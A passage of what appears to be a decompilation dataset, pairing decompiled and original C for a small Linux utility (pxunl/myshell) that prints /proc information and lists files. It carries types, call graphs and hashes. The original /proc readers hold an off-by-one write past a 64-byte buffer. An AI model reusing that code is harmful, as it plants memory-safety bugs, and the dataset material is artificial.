{\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_mount", "canonical_name": "func10", "repo": "pxunl/myshell", "decompiled_code": "int info_mount()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/mounts\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/mounts, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func10()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/mounts\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/mounts, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_mount()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/mounts\", 00)) == -1)\n {\n perror(\"can't read /proc/mounts, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_mount()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/mounts\", 00)) == -1)\n {\n perror(\"can't read /proc/mounts, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_swap", "canonical_name": "func11", "repo": "pxunl/myshell", "decompiled_code": "int info_swap()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/swaps\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/swaps, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func11()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/swaps\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/swaps, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_swap()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/swaps\", 00)) == -1)\n {\n perror(\"can't read /proc/swaps, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_swap()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/swaps\", 00)) == -1)\n {\n perror(\"can't read /proc/swaps, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_kernel_version", "canonical_name": "func12", "repo": "pxunl/myshell", "decompiled_code": "int info_kernel_version()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/version\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/version, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func12()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/version\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/version, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_kernel_version()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/version\", 00)) == -1)\n {\n perror(\"can't read /proc/version, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_kernel_version()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/version\", 00)) == -1)\n {\n perror(\"can't read /proc/version, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_uptime", "canonical_name": "func13", "repo": "pxunl/myshell", "decompiled_code": "int info_uptime()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/uptime\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/uptime, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func13()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/uptime\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/uptime, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_uptime()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/uptime\", 00)) == -1)\n {\n perror(\"can't read /proc/uptime, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_uptime()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/uptime\", 00)) == -1)\n {\n perror(\"can't read /proc/uptime, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "info_devices", "canonical_name": "func14", "repo": "pxunl/myshell", "decompiled_code": "int info_devices()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/devices\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/devices, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}\n", "canonical_decompiled_code": "int func14()\n{\nchar buf[72]; // [rsp+0h] [rbp-50h] BYREF\nint fd; // [rsp+48h] [rbp-8h]\nint v3; // [rsp+4Ch] [rbp-4h]\n\nv3 = 0;\nfd = open(\"/proc/devices\", 0);\nif ( fd == -1 )\n{\nperror(\"can't read /proc/devices, please check it's permision\\n\");\nexit(1);\n}\nwhile ( 1 )\n{\nv3 = read(fd, buf, 0x40uLL);\nif ( !v3 )\nbreak;\nbuf[v3] = 0;\nprintf(\"%s\", buf);\n}\nreturn close(fd);\n}", "original_code": "void info_devices()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/devices\", 00)) == -1)\n {\n perror(\"can't read /proc/devices, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "canonical_original_code": "void info_devices()\n{\n int read_size = 0;\n char buf[64];\n int fd;\n if ((fd = open(\"/proc/devices\", 00)) == -1)\n {\n perror(\"can't read /proc/devices, please check it's permision\\n\");\n exit(1);\n }\n while ((read_size = read(fd, buf, 64)) != 0)\n {\n buf[read_size] = '\\0';\n printf(\"%s\", buf);\n }\n close(fd);\n}", "variable_types": [ [ "read_size", "int" ], [ "buf", "char [64]" ], [ "fd", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\nint i; // [rsp+18h] [rbp-8h]\n\nif ( argc <= 1 )\nusage(0LL);\nfor ( i = 0; i <= 6; ++i )\n{\nif ( !strcmp(argv[1], (&cmd_table)[i]) )\naction_table[i]();\n}\nusage(1LL);\nreturn result;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\nint i; // [rsp+18h] [rbp-8h]\n\nif ( argc <= 1 )\nfunc7(0LL);\nfor ( i = 0; i <= 6; ++i )\n{\nif ( !strcmp(argv[1], (&cmd_table)[i]) )\naction_table[i]();\n}\nfunc7(1LL);\nreturn result;\n}", "original_code": "int main(int argc, const char *argv[])\n{\n if (argc < 2)\n {\n usage(0);\n }\n int i;\n int j;\n for (i = 1; i < argc; i++)\n {\n for (j = 0; j < 7; j++)\n {\n if (strcmp(argv[i], cmd_table[j]) == 0)\n {\n action_table[j]();\n }\n }\n if (j >= 7)\n {\n usage(1);\n }\n }\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n if (argc < 2)\n {\n usage(0);\n }\n int i;\n int j;\n for (i = 1; i < argc; i++)\n {\n for (j = 0; j < 7; j++)\n {\n if (strcmp(argv[i], cmd_table[j]) == 0)\n {\n action_table[j]();\n }\n }\n if (j >= 7)\n {\n usage(1);\n }\n }\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "i", "int" ], [ "j", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" }, { "name": "usage", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall __noreturn usage(int a1)\n{\nif ( a1 )\n{\nfprintf(stderr, \"Try `%s --help' for more information.\\n\", \"iproc\");\n}\nelse\n{\nprintf(\"Usage: %s [OPTION]...\\n\", \"iproc\");\nprintf(\n\"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\",\n\"\\nprint information about current system\\n\",\n\"\\t-c(--cpu: information about cpu\",\n\"\\t-m(--meninfo\",\n\"\\t-M(--mount -s(--swap\",\n\"\\t-v(--version: version of kernel\",\n\"\\t-u(--uptime: run time\",\n\"\\t-d(--devices: availabe devices\");\n}\nexit(a1);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func7(int a1)\n{\nif ( a1 )\n{\nfprintf(stderr, \"Try `%s --help' for more information.\\n\", \"iproc\");\n}\nelse\n{\nprintf(\"Usage: %s [OPTION]...\\n\", \"iproc\");\nprintf(\n\"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\",\n\"\\nprint information about current system\\n\",\n\"\\t-c(--cpu: information about cpu\",\n\"\\t-m(--meninfo\",\n\"\\t-M(--mount -s(--swap\",\n\"\\t-v(--version: version of kernel\",\n\"\\t-u(--uptime: run time\",\n\"\\t-d(--devices: availabe devices\");\n}\nexit(a1);\n}", "original_code": "void usage(int status)\n{\n if (status != 0)\n fprintf (stderr, (\"Try `%s --help' for more information.\\n\"),\n \"iproc\");\n else\n {\n printf ((\"Usage: %s [OPTION]...\\n\"), \"iproc\");\n printf((\"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\"), \"\\nprint information about current system\\n\",\n \"\\t-c(--cpu: information about cpu\",\n \"\\t-m(--meninfo\",\n \"\\t-M(--mount -s(--swap\",\n \"\\t-v(--version: version of kernel\",\n \"\\t-u(--uptime: run time\",\n \"\\t-d(--devices: availabe devices\");\n }\n exit (status);\n}", "canonical_original_code": "void usage(int status)\n{\n if (status != 0)\n fprintf (stderr, (\"Try `%s --help' for more information.\\n\"),\n \"iproc\");\n else\n {\n printf ((\"Usage: %s [OPTION]...\\n\"), \"iproc\");\n printf((\"%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n%s\\n\"), \"\\nprint information about current system\\n\",\n \"\\t-c(--cpu: information about cpu\",\n \"\\t-m(--meninfo\",\n \"\\t-M(--mount -s(--swap\",\n \"\\t-v(--version: version of kernel\",\n \"\\t-u(--uptime: run time\",\n \"\\t-d(--devices: availabe devices\");\n }\n exit (status);\n}", "variable_types": [ [ "status", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ac9f1fafacd57af32d8fc4ca10ac6dd9959713b33ccba83f65c83c57ee1bde7d" } ]
ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "do_ls" ], [ "do_ls", "->", "main", "do_stat" ], [ "do_stat", "->", "do_ls", "stat", "show_file_info" ], [ "show_file_info", "->", "do_stat", "mode_to_letters", "uid_to_name", "gid_to_name" ], [ "mode_to_letters", "->", "show_file_info" ], [ "uid_to_name", "->", "show_file_info" ], [ "gid_to_name", "->", "show_file_info" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ], [ "stat", "->", "do_stat" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "do_ls", "int __fastcall func7(const char *a1, int a2)\n{\nint result; // eax\nstruct dirent *v3; // [rsp+10h] [rbp-10h]\nDIR *dirp; // [rsp+18h] [rbp-8h]\n\nresult = strcmp(a1, \"-a\");\nif ( result )\n{\ndirp = opendir(a1);\nif ( dirp )\n{\nwhile ( 1 )\n{\nv3 = readdir(dirp);\nif ( !v3 )\nbreak;\nif ( a2 == 1 )\nfunc8(v3->d_name);\nelse\nputs(v3->d_name);\n}\nresult = closedir(dirp);\n}\nelse\n{\nresult = fprintf(stderr, \"ils: cannot open %s\\n\", a1);\n}\n}\nreturn result;\n}" ], [ "_libc_csu_init", "void __fastcall func13(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func14(void)\n{\n;\n}" ], [ "stat", "int __fastcall func15(char *filename, struct stat *stat_buf)\n{\nreturn __xstat(1, filename, stat_buf);\n}" ] ]
[ { "name": "do_stat", "canonical_name": "func8", "repo": "pxunl/myshell", "decompiled_code": "void __fastcall do_stat(char *a1)\n{\nstruct stat v1; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)stat(a1, &v1) == -1 )\nperror(a1);\nelse\nshow_file_info(a1, &v1);\n}\n", "canonical_decompiled_code": "void __fastcall func8(char *a1)\n{\nstruct stat v1; // [rsp+10h] [rbp-90h] BYREF\n\nif ( (unsigned int)func15(a1, &v1) == -1 )\nperror(a1);\nelse\nfunc9(a1, &v1);\n}", "original_code": "void do_stat( char *filename)\n{\n struct stat info;\n if ( stat(filename, &info) == -1 )\n {\n perror( filename );\n }\n else\n {\n show_file_info( filename, &info );\n }\n}", "canonical_original_code": "void do_stat(char *filename)\n{\n struct stat info;\n if ( stat(filename, &info) == -1 )\n {\n perror( filename );\n }\n else\n {\n show_file_info( filename, &info );\n }\n}", "variable_types": [ [ "filename", "char *" ], [ "info", "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }" ] ], "return_type": "void", "user_defined_types": [ "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }", "struct timespec { long tv_sec; long tv_nsec; }" ], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" }, { "name": "show_file_info", "canonical_name": "func9", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall show_file_info(const char *a1, __int64 a2)\n{\nconst char *v2; // rax\nconst char *v3; // rax\nchar *v4; // rax\nchar v6[11]; // [rsp+15h] [rbp-Bh] BYREF\n\nmode_to_letters(*(unsigned int *)(a2 + 24), v6);\nprintf(\"%s\", v6);\nprintf(\"%4d \", (unsigned int)*(_QWORD *)(a2 + 16));\nv2 = (const char *)uid_to_name(*(unsigned int *)(a2 + 28));\nprintf(\"%-8s \", v2);\nv3 = (const char *)gid_to_name(*(unsigned int *)(a2 + 32));\nprintf(\"%-8s \", v3);\nprintf(\"%8ld \", *(_QWORD *)(a2 + 48));\nv4 = ctime((const time_t *)(a2 + 88));\nprintf(\"%.12s \", v4 + 4);\nreturn puts(a1);\n}\n", "canonical_decompiled_code": "int __fastcall func9(const char *a1, __int64 a2)\n{\nconst char *v2; // rax\nconst char *v3; // rax\nchar *v4; // rax\nchar v6[11]; // [rsp+15h] [rbp-Bh] BYREF\n\nfunc10(*(unsigned int *)(a2 + 24), v6);\nprintf(\"%s\", v6);\nprintf(\"%4d \", (unsigned int)*(_QWORD *)(a2 + 16));\nv2 = (const char *)func11(*(unsigned int *)(a2 + 28));\nprintf(\"%-8s \", v2);\nv3 = (const char *)func12(*(unsigned int *)(a2 + 32));\nprintf(\"%-8s \", v3);\nprintf(\"%8ld \", *(_QWORD *)(a2 + 48));\nv4 = ctime((const time_t *)(a2 + 88));\nprintf(\"%.12s \", v4 + 4);\nreturn puts(a1);\n}", "original_code": "void show_file_info( char *filename, struct stat *info_p )\n{\n char *uid_to_name();\n char *ctime();\n char *gid_to_name();\n char *filemode();\n void mode_to_letters();\n char modestr[11];\n mode_to_letters( info_p->st_mode, modestr );\n printf( \"%s\" , modestr );\n printf( \"%4d \" , (int) info_p->st_nlink);\n printf( \"%-8s \" , uid_to_name(info_p->st_uid) );\n printf( \"%-8s \" , gid_to_name(info_p->st_gid) );\n printf( \"%8ld \" , (long)info_p->st_size);\n printf( \"%.12s \", 4+ctime(&info_p->st_mtim.tv_sec));\n printf( \"%s\\n\" , filename );\n}", "canonical_original_code": "void show_file_info(char *filename, struct stat *info_p)\n{\n char *uid_to_name();\n char *ctime();\n char *gid_to_name();\n char *filemode();\n void mode_to_letters();\n char modestr[11];\n mode_to_letters( info_p->st_mode, modestr );\n printf( \"%s\" , modestr );\n printf( \"%4d \" , (int) info_p->st_nlink);\n printf( \"%-8s \" , uid_to_name(info_p->st_uid) );\n printf( \"%-8s \" , gid_to_name(info_p->st_gid) );\n printf( \"%8ld \" , (long)info_p->st_size);\n printf( \"%.12s \", 4+ctime(&info_p->st_mtim.tv_sec));\n printf( \"%s\\n\" , filename );\n}", "variable_types": [ [ "filename", "char *" ], [ "info_p", "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec { long tv_sec; long tv_nsec; } st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; } *" ], [ "uid_to_name", "char *()" ], [ "ctime", "char *()" ], [ "gid_to_name", "char *()" ], [ "filemode", "char *()" ], [ "mode_to_letters", "void ()" ], [ "modestr", "char [11]" ] ], "return_type": "void", "user_defined_types": [ "struct stat { unsigned long st_dev; unsigned long st_ino; unsigned long st_nlink; unsigned int st_mode; unsigned int st_uid; unsigned int st_gid; int __pad0; unsigned long st_rdev; long st_size; long st_blksize; long st_blocks; struct timespec st_atim; struct timespec st_mtim; struct timespec st_ctim; long __glibc_reserved[3]; }", "struct timespec { long tv_sec; long tv_nsec; }" ], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" }, { "name": "mode_to_letters", "canonical_name": "func10", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall mode_to_letters(__int16 a1, char *a2)\n{\nchar *result; // rax\n\nstrcpy(a2, \"----------\");\nif ( (a1 & 0xF000) == 0x4000 )\n*a2 = 100;\nif ( (a1 & 0xF000) == 0x2000 )\n*a2 = 99;\nif ( (a1 & 0xF000) == 24576 )\n*a2 = 98;\nif ( (a1 & 0x100) != 0 )\na2[1] = 114;\nif ( (a1 & 0x80) != 0 )\na2[2] = 119;\nif ( (a1 & 0x40) != 0 )\na2[3] = 120;\nif ( (a1 & 0x20) != 0 )\na2[4] = 114;\nif ( (a1 & 0x10) != 0 )\na2[5] = 119;\nif ( (a1 & 8) != 0 )\na2[6] = 120;\nif ( (a1 & 4) != 0 )\na2[7] = 114;\nif ( (a1 & 2) != 0 )\na2[8] = 119;\nresult = (char *)(a1 & 1);\nif ( (a1 & 1) != 0 )\n{\nresult = a2 + 9;\na2[9] = 120;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "char *__fastcall func10(__int16 a1, char *a2)\n{\nchar *result; // rax\n\nstrcpy(a2, \"----------\");\nif ( (a1 & 0xF000) == 0x4000 )\n*a2 = 100;\nif ( (a1 & 0xF000) == 0x2000 )\n*a2 = 99;\nif ( (a1 & 0xF000) == 24576 )\n*a2 = 98;\nif ( (a1 & 0x100) != 0 )\na2[1] = 114;\nif ( (a1 & 0x80) != 0 )\na2[2] = 119;\nif ( (a1 & 0x40) != 0 )\na2[3] = 120;\nif ( (a1 & 0x20) != 0 )\na2[4] = 114;\nif ( (a1 & 0x10) != 0 )\na2[5] = 119;\nif ( (a1 & 8) != 0 )\na2[6] = 120;\nif ( (a1 & 4) != 0 )\na2[7] = 114;\nif ( (a1 & 2) != 0 )\na2[8] = 119;\nresult = (char *)(a1 & 1);\nif ( (a1 & 1) != 0 )\n{\nresult = a2 + 9;\na2[9] = 120;\n}\nreturn result;\n}", "original_code": "void mode_to_letters( int mode, char str[] )\n{\n strcpy(str, \"----------\");\n if ( ((((mode)) & 0170000) == (0040000)) ) str[0] = 'd';\n if ( ((((mode)) & 0170000) == (0020000)) ) str[0] = 'c';\n if ( ((((mode)) & 0170000) == (0060000)) ) str[0] = 'b';\n if ( mode & 0400 ) str[1] = 'r';\n if ( mode & 0200 ) str[2] = 'w';\n if ( mode & 0100 ) str[3] = 'x';\n if ( mode & (0400 >> 3) ) str[4] = 'r';\n if ( mode & (0200 >> 3) ) str[5] = 'w';\n if ( mode & (0100 >> 3) ) str[6] = 'x';\n if ( mode & ((0400 >> 3) >> 3) ) str[7] = 'r';\n if ( mode & ((0200 >> 3) >> 3) ) str[8] = 'w';\n if ( mode & ((0100 >> 3) >> 3) ) str[9] = 'x';\n}", "canonical_original_code": "void mode_to_letters(int mode, char str[])\n{\n strcpy(str, \"----------\");\n if ( ((((mode)) & 0170000) == (0040000)) ) str[0] = 'd';\n if ( ((((mode)) & 0170000) == (0020000)) ) str[0] = 'c';\n if ( ((((mode)) & 0170000) == (0060000)) ) str[0] = 'b';\n if ( mode & 0400 ) str[1] = 'r';\n if ( mode & 0200 ) str[2] = 'w';\n if ( mode & 0100 ) str[3] = 'x';\n if ( mode & (0400 >> 3) ) str[4] = 'r';\n if ( mode & (0200 >> 3) ) str[5] = 'w';\n if ( mode & (0100 >> 3) ) str[6] = 'x';\n if ( mode & ((0400 >> 3) >> 3) ) str[7] = 'r';\n if ( mode & ((0200 >> 3) >> 3) ) str[8] = 'w';\n if ( mode & ((0100 >> 3) >> 3) ) str[9] = 'x';\n}", "variable_types": [ [ "mode", "int" ], [ "str", "char []" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" }, { "name": "uid_to_name", "canonical_name": "func11", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall uid_to_name(__uid_t a1)\n{\nstruct passwd *v2; // [rsp+18h] [rbp-8h]\n\nv2 = getpwuid(a1);\nif ( v2 )\nreturn v2->pw_name;\nsprintf(numstr_1, \"%d\", a1);\nreturn numstr_1;\n}\n", "canonical_decompiled_code": "char *__fastcall func11(__uid_t a1)\n{\nstruct passwd *v2; // [rsp+18h] [rbp-8h]\n\nv2 = getpwuid(a1);\nif ( v2 )\nreturn v2->pw_name;\nsprintf(numstr_1, \"%d\", a1);\nreturn numstr_1;\n}", "original_code": "char *uid_to_name(uid_t uid)\n{\n struct passwd *getpwuid();\n struct passwd *pw_ptr;\n static char numstr[10];\n if (( pw_ptr = getpwuid( uid )) == ((void *)0))\n {\n sprintf(numstr,\"%d\", uid);\n return numstr;\n }\n else\n {\n return pw_ptr->pw_name;\n }\n return ((void *)0);\n}", "canonical_original_code": "char *uid_to_name(unsigned int uid)\n{\n struct passwd *getpwuid();\n struct passwd *pw_ptr;\n static char numstr[10];\n if (( pw_ptr = getpwuid( uid )) == ((void *)0))\n {\n sprintf(numstr,\"%d\", uid);\n return numstr;\n }\n else\n {\n return pw_ptr->pw_name;\n }\n return ((void *)0);\n}", "variable_types": [ [ "uid", "unsigned int" ], [ "getpwuid", "struct passwd { char *pw_name; char *pw_passwd; unsigned int pw_uid; unsigned int pw_gid; char *pw_gecos; char *pw_dir; char *pw_shell; } *()" ], [ "pw_ptr", "struct passwd { char *pw_name; char *pw_passwd; unsigned int 